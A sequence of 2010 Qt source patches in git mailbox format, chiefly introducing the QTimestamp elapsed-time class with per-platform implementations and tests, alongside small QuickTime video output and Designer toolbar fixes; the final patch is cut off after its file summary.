From 751a45bc22aa1f27a5dab3ce18e83c0f699ee05f Mon Sep 17 00:00:00 2001 From: Dmytro Poplavskiy Date: Thu, 11 Mar 2010 14:03:57 +1000 Subject: QuickTime MovieViewOutput: remove view from layout and reset source movie when MovieViewOutput output is disabled. Reviewed-by: Justin McPherson --- src/plugins/mediaservices/qt7/qt7movieviewoutput.h | 1 + .../mediaservices/qt7/qt7movieviewoutput.mm | 32 +++++++++++++++++++--- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/src/plugins/mediaservices/qt7/qt7movieviewoutput.h b/src/plugins/mediaservices/qt7/qt7movieviewoutput.h index 30eefa7..3ac409e 100644 --- a/src/plugins/mediaservices/qt7/qt7movieviewoutput.h +++ b/src/plugins/mediaservices/qt7/qt7movieviewoutput.h @@ -100,6 +100,7 @@ private: void *m_movie; void *m_movieView; + bool m_layouted; WId m_winId; QRect m_displayRect; diff --git a/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm b/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm index 254af46..d5f4f95 100644 --- a/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm +++ b/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm @@ -154,6 +154,7 @@ QT7MovieViewOutput::QT7MovieViewOutput(QObject *parent) :QT7VideoWindowControl(parent), m_movie(0), m_movieView(0), + m_layouted(false), m_winId(0), m_fullscreen(false), m_aspectRatioMode(QVideoWidget::KeepAspectRatio), @@ -166,6 +167,8 @@ QT7MovieViewOutput::QT7MovieViewOutput(QObject *parent) QT7MovieViewOutput::~QT7MovieViewOutput() { + [(QTMovieView*)m_movieView release]; + [(QTMovie*)m_movie release]; } void QT7MovieViewOutput::setupVideoOutput() @@ -186,6 +189,7 @@ void QT7MovieViewOutput::setupVideoOutput() [(QTMovieView*)m_movieView setMovie:(QTMovie*)m_movie]; [(NSView *)m_winId addSubview:(QTMovieView*)m_movieView]; + m_layouted = true; setDisplayRect(m_displayRect); } @@ -196,8 +200,21 @@ void QT7MovieViewOutput::setEnabled(bool) void QT7MovieViewOutput::setMovie(void *movie) { - m_movie = movie; - setupVideoOutput(); + if (m_movie != movie) { + if (m_movie) { + if (m_movieView) + [(QTMovieView*)m_movieView setMovie:nil]; + + [(QTMovie*)m_movie release]; + } + + m_movie = movie; + + if (m_movie) + [(QTMovie*)m_movie retain]; + + setupVideoOutput(); + } } void QT7MovieViewOutput::updateNaturalSize(const QSize &newSize) @@ -215,8 +232,15 @@ WId QT7MovieViewOutput::winId() const void QT7MovieViewOutput::setWinId(WId id) { - m_winId = id; - setupVideoOutput(); + if (m_winId != id) { + if (m_movieView && m_layouted) { + [(QTMovieView*)m_movieView removeFromSuperview]; + m_layouted = false; + } + + m_winId = id; + setupVideoOutput(); + } } QRect QT7MovieViewOutput::displayRect() const -- cgit v0.12 From a12b989c6d469a5a4512b7cbb70f716d98eae8e3 Mon Sep 17 00:00:00 2001 From: jasplin Date: Wed, 17 Mar 2010 08:48:36 +0100 Subject: Cleanup: Removed include file and comment. --- src/testlib/qtestcoreelement.h | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/testlib/qtestcoreelement.h b/src/testlib/qtestcoreelement.h index 4738f7d..e1ad44a 100644 --- a/src/testlib/qtestcoreelement.h +++ b/src/testlib/qtestcoreelement.h @@ -45,8 +45,6 @@ #include #include -#include - QT_BEGIN_HEADER QT_BEGIN_NAMESPACE @@ -95,9 +93,6 @@ void QTestCoreElement::addAttribute(const QTest::AttributeIndex att if (attribute(attributeIndex)) return; - // if (attributeIndex == QTest::AI_Metric) - // abort(); - QTestElementAttribute *testAttribute = new QTestElementAttribute; testAttribute->setPair(attributeIndex, value); testAttribute->addToList(&listOfAttributes); -- cgit v0.12 From c3a8819a68cff387178a0f37de62611b98e0a665 Mon Sep 17 00:00:00 2001 From: Jens Bache-Wiig Date: Wed, 17 Mar 2010 11:24:37 +0100 Subject: Use a toolbar for the designer property editor This makes the designer plugin a little bit more consistent. It also helps cosmeticaly in creator as we get a better separation between the tool bar and the treeview. Reviewed-by: thorbjorn --- tools/designer/src/components/widgetbox/widgetbox.cpp | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/designer/src/components/widgetbox/widgetbox.cpp b/tools/designer/src/components/widgetbox/widgetbox.cpp index 512d6ba..091135a 100644 --- a/tools/designer/src/components/widgetbox/widgetbox.cpp +++ b/tools/designer/src/components/widgetbox/widgetbox.cpp @@ -74,7 +74,10 @@ WidgetBox::WidgetBox(QDesignerFormEditorInterface *core, QWidget *parent, Qt::Wi FilterWidget *filterWidget = new FilterWidget(0, FilterWidget::LayoutAlignNone); filterWidget->setRefuseFocus(true); connect(filterWidget, SIGNAL(filterChanged(QString)), m_view, SLOT(filter(QString))); - l->addWidget(filterWidget); + + QToolBar *toolBar = new QToolBar(this); + toolBar->addWidget(filterWidget); + l->addWidget(toolBar); // View connect(m_view, SIGNAL(pressed(QString,QString,QPoint)), -- cgit v0.12 From 782a5c8537831143d52df99c434bb1e5420d7113 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 11:31:05 +0100 Subject: Initial version of QTimestamp class. Only the generic, non-monotonic QTime-based version available right now Task-number: QT-2965 --- src/corelib/tools/qdatetime.h | 1 + src/corelib/tools/qtimestamp.h | 106 +++++++++++++++++++++++++++++++ src/corelib/tools/qtimestamp_generic.cpp | 93 +++++++++++++++++++++++++++ src/corelib/tools/tools.pri | 3 + tests/auto/qtimestamp/qtimestamp.pro | 13 ++++ tests/auto/qtimestamp/tst_qtimestamp.cpp | 68 ++++++++++++++++++++ 6 files changed, 284 insertions(+) create mode 100644 src/corelib/tools/qtimestamp.h create mode 100644 src/corelib/tools/qtimestamp_generic.cpp create mode 100644 tests/auto/qtimestamp/qtimestamp.pro create mode 100644 tests/auto/qtimestamp/tst_qtimestamp.cpp diff --git a/src/corelib/tools/qdatetime.h b/src/corelib/tools/qdatetime.h index 6fdc855..75b5985 100644 --- a/src/corelib/tools/qdatetime.h +++ b/src/corelib/tools/qdatetime.h @@ -204,6 +204,7 @@ private: friend class QDateTime; friend class QDateTimePrivate; + friend class QTimestamp; #ifndef QT_NO_DATASTREAM friend Q_CORE_EXPORT QDataStream &operator<<(QDataStream &, const QTime &); friend Q_CORE_EXPORT QDataStream &operator>>(QDataStream &, QTime &); diff --git a/src/corelib/tools/qtimestamp.h b/src/corelib/tools/qtimestamp.h new file mode 100644 index 0000000..f923cd4 --- /dev/null +++ b/src/corelib/tools/qtimestamp.h @@ -0,0 +1,106 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QTIMESTAMP_H +#define QTIMESTAMP_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Core) + +class Q_CORE_EXPORT QTimestamp +{ +public: + static bool isMonotonic(); + + void start(); + qint64 restart() + { + qint64 r = elapsed(); + start(); + return r; + } + + qint64 elapsed() const; + bool hasExpired(qint64 timeout) const + { + // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be + // considered as never expired + return quint64(elapsed()) > quint64(timeout); + } + + qint64 msecsTo(const QTimestamp &other) const; + void addMSecs(int ms); + qint64 secsTo(const QTimestamp &other) const; + void addSecs(int secs); + + bool operator==(const QTimestamp &other) const + { return t1 == other.t1 && t2 == other.t2; } + bool operator!=(const QTimestamp &other) const + { return !(*this == other); } + + friend bool Q_CORE_EXPORT operator<(const QTimestamp &v1, const QTimestamp &v2); + friend qint64 operator-(const QTimestamp &v1, const QTimestamp &v2) + { return v2.msecsTo(v1); } + + friend QTimestamp &operator+=(QTimestamp &ts, qint64 ms) + { ts.addMSecs(ms); return ts; } + friend QTimestamp operator+(const QTimestamp &ts, qint64 ms) + { QTimestamp copy(ts); return copy += ms; } + friend QTimestamp &operator-=(QTimestamp &ts, qint64 ms) + { ts.addMSecs(-ms); return ts; } + friend QTimestamp operator-(const QTimestamp &ts, qint64 ms) + { QTimestamp copy(ts); return copy -= ms; } + +private: + qint64 t1; + qint64 t2; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QTIMESTAMP_H diff --git a/src/corelib/tools/qtimestamp_generic.cpp b/src/corelib/tools/qtimestamp_generic.cpp new file mode 100644 index 0000000..18c5026 --- /dev/null +++ b/src/corelib/tools/qtimestamp_generic.cpp @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" +#include "qdatetime.h" + +QT_BEGIN_NAMESPACE + +bool QTimestamp::isMonotonic() +{ + return false; +} + +void QTimestamp::start() +{ + QTime t = QTime::currentTime(); + t1 = t.mds; + t2 = 0; +} + +qint64 QTimestamp::elapsed() const +{ + QTime t = QTime::currentTime(); + return t.mds - t1; +} + +qint64 QTimestamp::msecsTo(const QTimestamp &other) const +{ + qint64 diff = other.t1 - t1; + if (diff < 0) // passed midnight + diff += 86400 * 1000; + return diff; +} + +void QTimestamp::addMSecs(int ms) +{ + t1 += ms; +} + +qint64 QTimestamp::secsTo(const QTimestamp &other) const +{ + return msecsTo(other) / 1000; +} + +void QTimestamp::addSecs(int secs) +{ + t1 += secs * 1000; +} + +bool operator<(const QTimestamp &v1, const QTimestamp &v2) +{ + return v1.t1 < v2.t1; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 6d64915..49f2f16 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -42,6 +42,7 @@ HEADERS += \ tools/qstringmatcher.h \ tools/qtextboundaryfinder.h \ tools/qtimeline.h \ + tools/qtimestamp.h \ tools/qunicodetables_p.h \ tools/qvarlengtharray.h \ tools/qvector.h \ @@ -81,6 +82,8 @@ SOURCES += \ symbian:SOURCES+=tools/qlocale_symbian.cpp +unix:SOURCES += tools/qtimestamp_generic.cpp + #zlib support contains(QT_CONFIG, zlib) { wince*: DEFINES += NO_ERRNO_H diff --git a/tests/auto/qtimestamp/qtimestamp.pro b/tests/auto/qtimestamp/qtimestamp.pro new file mode 100644 index 0000000..3a06390 --- /dev/null +++ b/tests/auto/qtimestamp/qtimestamp.pro @@ -0,0 +1,13 @@ +load(qttest_p4) +QT -= gui + +SOURCES += tst_qtimestamp.cpp +wince* { + DEFINES += SRCDIR=\\\"\\\" +} else:symbian { + # do not define SRCDIR at all + TARGET.EPOCHEAPSIZE = 0x100000 0x3000000 +} else { + DEFINES += SRCDIR=\\\"$$PWD/\\\" +} + diff --git a/tests/auto/qtimestamp/tst_qtimestamp.cpp b/tests/auto/qtimestamp/tst_qtimestamp.cpp new file mode 100644 index 0000000..5a0b230 --- /dev/null +++ b/tests/auto/qtimestamp/tst_qtimestamp.cpp @@ -0,0 +1,68 @@ +#include +#include +#include +#include + +class tst_QTimestamp : public QObject +{ + Q_OBJECT + +private Q_SLOTS: + void basics(); + void elapsed(); +}; + +void tst_QTimestamp::basics() +{ + QTimestamp t1; + t1.start(); + + QCOMPARE(t1, t1); + QVERIFY(!(t1 != t1)); + QVERIFY(!(t1 < t1)); + QCOMPARE(t1.msecsTo(t1), qint64(0)); + QCOMPARE(t1.secsTo(t1), qint64(0)); + QCOMPARE(t1 + 0, t1); + QCOMPARE(t1 - 0, t1); + + QTimestamp t2 = t1; + t2 += 1000; // so we can use secsTo + + QVERIFY(t1 != t2); + QVERIFY(!(t1 == t2)); + QVERIFY(t1 < t2); + QVERIFY(!(t2 < t1)); + QCOMPARE(t1.msecsTo(t2), qint64(1000)); + QCOMPARE(t1.secsTo(t2), qint64(1)); + QCOMPARE(t2 - t1, qint64(1000)); + QCOMPARE(t1 - t2, qint64(-1000)); +} + +void tst_QTimestamp::elapsed() +{ + QTimestamp t1; + t1.start(); + + QTest::qWait(100); + QTimestamp t2; + t2.start(); + + QVERIFY(t1 != t2); + QVERIFY(!(t1 == t2)); + QVERIFY(t1 < t2); + QVERIFY(t1.msecsTo(t2) > 0); + // don't check: t1.secsTo(t2) + QVERIFY(t1 - t2 < 0); + + QVERIFY(t1.elapsed() > 0); + QVERIFY(t1.hasExpired(50)); + QVERIFY(!t1.hasExpired(500)); + QVERIFY(!t2.hasExpired(0)); + + QVERIFY(!t1.hasExpired(-1)); + QVERIFY(!t2.hasExpired(-1)); +} + +QTEST_MAIN(tst_QTimestamp); + +#include "tst_qtimestamp.moc" -- cgit v0.12 From e33a545fc76ad99db39680433b151815175f8b76 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 12:21:53 +0100 Subject: Add the Mac implementation of QTimestamp. Task-number: QT-2965 --- src/corelib/tools/qtimestamp_mac.cpp | 109 +++++++++++++++++++++++++++++++++++ src/corelib/tools/tools.pri | 3 +- 2 files changed, 111 insertions(+), 1 deletion(-) create mode 100644 src/corelib/tools/qtimestamp_mac.cpp diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp new file mode 100644 index 0000000..bdc91d1 --- /dev/null +++ b/src/corelib/tools/qtimestamp_mac.cpp @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" +#include +#include + +#include + +QT_BEGIN_NAMESPACE + +bool QTimestamp::isMonotonic() +{ + return true; +} + +static mach_timebase_info_data_t info = {0,0}; +static qint64 absoluteToMSecs(qint64 cpuTime) +{ + if (info.denom == 0) + mach_timebase_info(&info); + qint64 nsecs = cpuTime * info.numer / info.denom; + return nsecs / (1000*1000ull); +} + +static qint64 msecsToAbsolute(qint64 ms) +{ + if (info.denom == 0) + mach_timebase_info(&info); + qint64 nsecs = ms * 1000000ull; + return nsecs * info.denom / info.numer; +} + +void QTimestamp::start() +{ + t1 = mach_absolute_time(); + t2 = 0; +} + +qint64 QTimestamp::elapsed() const +{ + uint64_t cpu_time = mach_absolute_time(); + return absoluteToMSecs(cpu_time - t1); +} + +qint64 QTimestamp::msecsTo(const QTimestamp &other) const +{ + return absoluteToMSecs(other.t1 - t1); +} + +void QTimestamp::addMSecs(int ms) +{ + t1 += msecsToAbsolute(ms); +} + +qint64 QTimestamp::secsTo(const QTimestamp &other) const +{ + return msecsTo(other) / 1000; +} + +void QTimestamp::addSecs(int secs) +{ + t1 += secs * 1000; +} + +bool operator<(const QTimestamp &v1, const QTimestamp &v2) +{ + return v1.t1 < v2.t1; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 49f2f16..3599cc7 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -82,7 +82,8 @@ SOURCES += \ symbian:SOURCES+=tools/qlocale_symbian.cpp -unix:SOURCES += tools/qtimestamp_generic.cpp +mac:SOURCES += tools/qtimestamp_mac.cpp +else:SOURCES += tools/qtimestamp_generic.cpp #zlib support contains(QT_CONFIG, zlib) { -- cgit v0.12 From 495581a1278f534e855d6122cdcb719c1df6d40b Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 12:50:52 +0100 Subject: Add the non-Mac Unix implementation of QTimestamp. Task-number: QT-2965 --- src/corelib/tools/qtimestamp_unix.cpp | 149 ++++++++++++++++++++++++++++++++++ src/corelib/tools/tools.pri | 1 + 2 files changed, 150 insertions(+) create mode 100644 src/corelib/tools/qtimestamp_unix.cpp diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp new file mode 100644 index 0000000..b82259f --- /dev/null +++ b/src/corelib/tools/qtimestamp_unix.cpp @@ -0,0 +1,149 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" +#include +#include +#include + +#if !defined(QT_NO_CLOCK_MONOTONIC) +# if defined(QT_BOOTSTRAPPED) +# define QT_NO_CLOCK_MONOTONIC +# endif +#endif + +QT_BEGIN_NAMESPACE + +bool QTimestamp::isMonotonic() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 > 0) + return true; +#else + static int returnValue = 0; + + if (returnValue == 0) { +# if (_POSIX_MONOTONIC_CLOCK-0 < 0) + returnValue = -1; +# elif (_POSIX_MONOTONIC_CLOCK == 0) + // detect if the system support monotonic timers + long x = sysconf(_SC_MONOTONIC_CLOCK); + returnValue = (x >= 200112L) ? 1 : -1; +# endif + } + + return returnValue != -1; +#endif +} + +static qint64 fractionAdjustment() +{ + if (QTimestamp::isMonotonic()) { + // the monotonic timer is measured in nanoseconds + // 1 ms = 1000000 ns + return 1000*1000ull; + } else { + // gettimeofday is measured in microseconds + // 1 ms = 1000 us + return 1000; + } +} + +void QTimestamp::start() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 > 0) + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + t1 = ts.tv_sec; + t2 = ts.tv_nsec; +#else +# if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) + if (isMonotonic()) { + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + t1 = ts.tv_sec; + t2 = ts.tv_nsec; + return; + } +# endif + // use gettimeofday + timeval tv; + ::gettimeofday(&tv, 0); + t1 = tv.tv_sec; + t2 = tv.tv_usec; +#endif +} + +qint64 QTimestamp::elapsed() const +{ + QTimestamp now; + now.start(); + return msecsTo(now); +} + +qint64 QTimestamp::msecsTo(const QTimestamp &other) const +{ + qint64 secs = other.t1 - t1; + qint64 fraction = other.t2 - t2; + return secs * 1000 + fraction / fractionAdjustment(); +} + +void QTimestamp::addMSecs(int ms) +{ + t1 += ms / 1000; + t2 += ms % 1000 * fractionAdjustment(); +} + +qint64 QTimestamp::secsTo(const QTimestamp &other) const +{ + return other.t1 - t1; +} + +void QTimestamp::addSecs(int secs) +{ + t1 += secs; +} + +bool operator<(const QTimestamp &v1, const QTimestamp &v2) +{ + return v1.t1 < v2.t1 || (v1.t1 == v2.t1 && v1.t2 < v2.t2); +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 3599cc7..b8a0ae1 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -83,6 +83,7 @@ SOURCES += \ symbian:SOURCES+=tools/qlocale_symbian.cpp mac:SOURCES += tools/qtimestamp_mac.cpp +else:unix:SOURCES += tools/qtimestamp_unix.cpp else:SOURCES += tools/qtimestamp_generic.cpp #zlib support -- cgit v0.12 From 3e20aa117f4867aa40e03103fcb4e1a54b42dd1c Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 13:05:47 +0100 Subject: Add the Windows implementation of QTimestamp Task-number: QT-2965 --- src/corelib/tools/qtimestamp_win.cpp | 120 +++++++++++++++++++++++++++++++++++ src/corelib/tools/tools.pri | 1 + 2 files changed, 121 insertions(+) create mode 100644 src/corelib/tools/qtimestamp_win.cpp diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp new file mode 100644 index 0000000..99faebd --- /dev/null +++ b/src/corelib/tools/qtimestamp_win.cpp @@ -0,0 +1,120 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" +#include + +typedef ULONGLONG (WINAPI *PtrGetTickCount64)(void); +static PtrGetTickCount64 ptrGetTickCount64 = 0; + +QT_BEGIN_NAMESPACE + +static void resolveLibs() +{ + static bool done = false; + if (done) + return; + + // try to get GetTickCount64 from the system + HMODULE kernel32 = GetModuleHandleW(L"kernel32"); + if (!kernel32) + return; + +#if defined(Q_OS_WINCE) + // does this function exist on WinCE, or will ever exist? + ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, L"GetTickCount64"); +#else + ptrGetTickCount64 = (PtrGetTickCount64)GetProcAddress(kernel32, "GetTickCount64"); +#endif + + done = true; +} + +static quint64 getTickCount() +{ + resolveLibs(); + if (ptrGetTickCount64) + return ptrGetTickCount64(); + return GetTickCount(); +} + +bool QTimestamp::isMonotonic() +{ + return true; +} + +void QTimestamp::start() +{ + t1 = getTickCount(); + t2 = 0; +} + +qint64 QTimestamp::elapsed() const +{ + return getTickCount() - t1; +} + +qint64 QTimestamp::msecsTo(const QTimestamp &other) const +{ + return other.t1 - t1; +} + +void QTimestamp::addMSecs(int ms) +{ + t1 += ms; +} + +qint64 QTimestamp::secsTo(const QTimestamp &other) const +{ + return msecsTo(other) / 1000; +} + +void QTimestamp::addSecs(int secs) +{ + t1 += secs * 1000; +} + +bool operator<(const QTimestamp &v1, const QTimestamp &v2) +{ + return v1.t1 < v2.t1; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index b8a0ae1..863f86e 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -84,6 +84,7 @@ symbian:SOURCES+=tools/qlocale_symbian.cpp mac:SOURCES += tools/qtimestamp_mac.cpp else:unix:SOURCES += tools/qtimestamp_unix.cpp +else:win32:SOURCES += tools/qtimestamp_win.cpp else:SOURCES += tools/qtimestamp_generic.cpp #zlib support -- cgit v0.12 From ca0def08d1ec2575546f7bfa3759f24288ba8e2a Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Feb 2010 14:10:05 +0100 Subject: Add the Symbian version of QTimestamp. This code is disabled --- src/corelib/tools/qtimestamp_symbian.cpp | 117 +++++++++++++++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 src/corelib/tools/qtimestamp_symbian.cpp diff --git a/src/corelib/tools/qtimestamp_symbian.cpp b/src/corelib/tools/qtimestamp_symbian.cpp new file mode 100644 index 0000000..e78597c --- /dev/null +++ b/src/corelib/tools/qtimestamp_symbian.cpp @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" +#include + +QT_BEGIN_NAMESPACE + +// return quint64 to avoid sign-extension +static quint64 getMillisecondFromTick() +{ + static TInt nanokernel_tick_period; + if (!nanokernel_tick_period) + HAL::Get(HAL::ENanoTickPeriod, nanokernel_tick_period); + return nanokernel_tick_period * User::NTickCount(); +} + +static qint64 difference(qint64 a, qint64 b) +{ + qint64 retval = a - b; + // there can be 32-bit rollover + // assume there were rollovers if the difference is negative by more than + // 75% of the 32-bit range + + if (retval < Q_INT64_C(-0xc0000000)) + retval += Q_UINT64_C(0x100000000); + return retval; +} + +bool QTimestamp::isMonotonic() +{ + return true; +} + +void QTimestamp::start() +{ + t1 = getMillisecondFromTick(); + t2 = 0; +} + +qint64 QTimestamp::restart() +{ + qint64 oldt1 = t1; + t1 = getMillisecondFromTick(); + return difference(t1, oldt1); +} + +qint64 QTimestamp::elapsed() const +{ + return difference(getMillisecondFromTick(), t1); +} + +qint64 QTimestamp::msecsTo(const QTimestamp &other) const +{ + return difference(other.t1, t1); +} + +void QTimestamp::addMSecs(int ms) +{ + // simulate a 32-bit rollover + t1 = quint32(t1 + ms); +} + +qint64 QTimestamp::secsTo(const QTimestamp &other) const +{ + return msecsTo(other) / 1000; +} + +void QTimestamp::addSecs(int secs) +{ + addMSecs(secs * 1000); +} + +bool operator<(const QTimestamp &v1, const QTimestamp &v2) +{ + return difference(v1.t1, v2.t1) < 0; +} + +QT_END_NAMESPACE -- cgit v0.12 From 49d949b644b94fbd6c1946ffddcc1b8675ffa9ef Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 13:56:46 +0100 Subject: Make qcore_unix.cpp share code with QTimestamp --- src/corelib/kernel/qcore_unix.cpp | 65 +--------------------------- src/corelib/kernel/qcore_unix_p.h | 4 +- 